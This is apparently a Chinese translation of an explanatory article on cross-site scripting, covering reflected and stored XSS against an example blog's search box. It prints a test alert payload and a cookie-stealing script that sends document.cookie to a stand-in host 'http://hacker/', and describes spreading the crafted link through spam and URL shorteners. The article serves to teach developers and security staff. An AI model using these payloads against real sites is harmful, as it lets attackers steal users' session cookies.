# XSS 的概述
最重要的要了解 XSS 漏洞的是,他們是目前為止發現的,在所有網站超過 80%比例的定制 Web 應用程序中最常 見的漏洞。雖然跨站點腳本在一段時間內一直被認為是中等程度的的漏洞,但 XSS 蠕蟲和病毒的出現,已經提高了 XSS 的評估。軟件開發人員和安全專業人員需要知道它是多么簡單,以防止代碼開發過程中出現 XSS 漏洞,并且一經查出, 他們是多么容易解決。XSS 是一種攻擊技術,它使得一個網站,寫出攻擊者提供的可執行代碼,然后加載在用戶的 Web 瀏覽器。也就是說,當黑客使用存在漏洞的網站作為攻擊的通道時,用戶是預定的受害者。
## 非持久型 XSS
(譯者注:也叫反射型 XSS)
想想看,一個黑客想使用“(http://victim/)/”網站對用戶進行 XSS 攻擊。黑客會采取的第一個步驟是在 [http://victim/](http://victim/) 找出一個 XSS 漏洞,然后構造一個特制的 URL,也被稱為鏈接。要做到這一點,黑客會搜尋網站上的客戶端提供的數 據可以被發送到 Web 服務器,然后回顯到屏幕上的任何功能,比如搜索框。
圖一展現的是一種常見的在線發布的博客。XSS 漏洞往往出現在搜索框表單。在搜索字段中輸入“test search”, 響應頁面將用戶輸入的文本在顯示在三個不同的位置,如圖 2 所示。圖下方是新的 URL。查詢字符串中包含值為 “test+search”的“search”參數。這個 URL 值可以在運行時更改,甚至包括 HTML / JavaScript 的內容。

圖 1 [http://victim/](http://victim/)
圖 2 [http://victim/search.pl?search=test+search](http://victim/search.pl?search=test%2Bsearch)
圖 3 展示了原來的搜索詞被替換為下面的 HTML / JavaScript 代碼時會發生什么:
Example 1\.
```
”><SCRIPT>alert(‘XSS%20Testing’)</SCRIPT>
```
結果頁面彈出了一個無害的警告對話框。根據提示,提交的代碼已經成為 web 頁面的一部分,證明了 JavaScript 已進入到[http://victim/](http://victim/%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87%E5%B9%B6%E5%BE%97%E5%88%B0%E6%89%A7%E8%A1%8C)的上下文并得到執行。圖 4 展示了夾雜有新的 HTML/ JavaScript 代碼的 Web 頁面的 HTML 源代 碼。

圖 3,原來的搜索詞將被替換為 HTML/ JavaScript 代碼。
圖 4,夾雜有新的 HTML/ JavaScript 代碼的 Web 頁面的 HTML 源代碼。
此時,黑客將會繼續修改這個 URL,包含更復雜的 XSS 攻擊來利用用戶。一個典型的例子是一個簡單的 cookie 盜 竊的攻擊。
Example 2.
```
“><SCRIPT>var+img=new+Image();img.src=”http://hacker/”%20+%20document.cookie;</SCRIPT>
```
前面的 JavaScript 代碼創建一個圖像 DOM(文檔對象模型)對象。
```
var img=new Image();
```
因為 JavaScript 代碼在“[http://victim/](http://victim/)”上下文中執行,所以它可以訪問 cookie 數據。
```
document.cookie;
```
圖形對象然后指派一個外域的 URL 發送帶有 Web 瀏覽器的 Cookie 字符串的數據到“[http://hacker/](http://hacker/)”。
```
img.src=”http://hacker/” + document.cookie;
```
下面是一個例子,是一個被發送的 HTTP 請求。
Example 3.
```
GET http://hacker/path/_web_browser_cookie_data HTTP/1.1
Host: host
User-Agent: Firefox/1.5.0.1
Content-length: 0
```
一旦黑客完成了他的攻擊代碼,他會通過垃圾郵件,留言板的帖子,即時消息和其他方法宣傳這種特制的鏈接, 試圖吸引用戶點擊。是什么讓這種攻擊這么有效?用戶可能點擊正常的網絡釣魚郵件 7 中的鏈接是因為這個 URL 包 含了真正的網站域名,而不是一種外觀相似的域名或隨機的 IP 地址。應當注意的是,過長的 XSS 鏈接可以使用 URL 縮短服務,如 TinyURL.com 進行偽裝。
## 持久型 XSS
(譯者注:也叫存儲型 XSS)
持久型(或 HTML 注入型)XSS 攻擊最常發生在由社區內容驅動的網站或 Web 郵件網站,不需要特制的鏈接來 執行。黑客僅僅需要提交 XSS 漏洞利用代碼到一個網站上其他用戶可能訪問的地方。這些地區可能是博客評論,用戶 評論,留言板,聊天室,HTML 電子郵件,wikis,和其他的許多地方。一旦用戶訪問受感染的網頁,執行是自動的。 這使得持續性的 XSS 的危險性比非持久性高,因為用戶沒有辦法保護自己。一旦黑客成功在某個頁面注入了漏洞利
用代碼,他將宣傳受感染頁面的 URL 來希望不知情的用戶中招。即使用戶對非持續性 XSS 的 URL 懂得識別,也會很 容易的受到影響(譯者:中招)。
無論使用非持續性或持續性的 XSS 漏洞,黑客可以利用用戶,導致網絡和財務上的損失,有許多的方法。 從這點出發,我們將專注于的 XSS 病毒和蠕蟲的攻擊技術。欲了解更多 XSS 信息,請訪問“跨站腳本常見問題解答 8”和“XSS 小抄 9” ,兩個優秀的信息資源。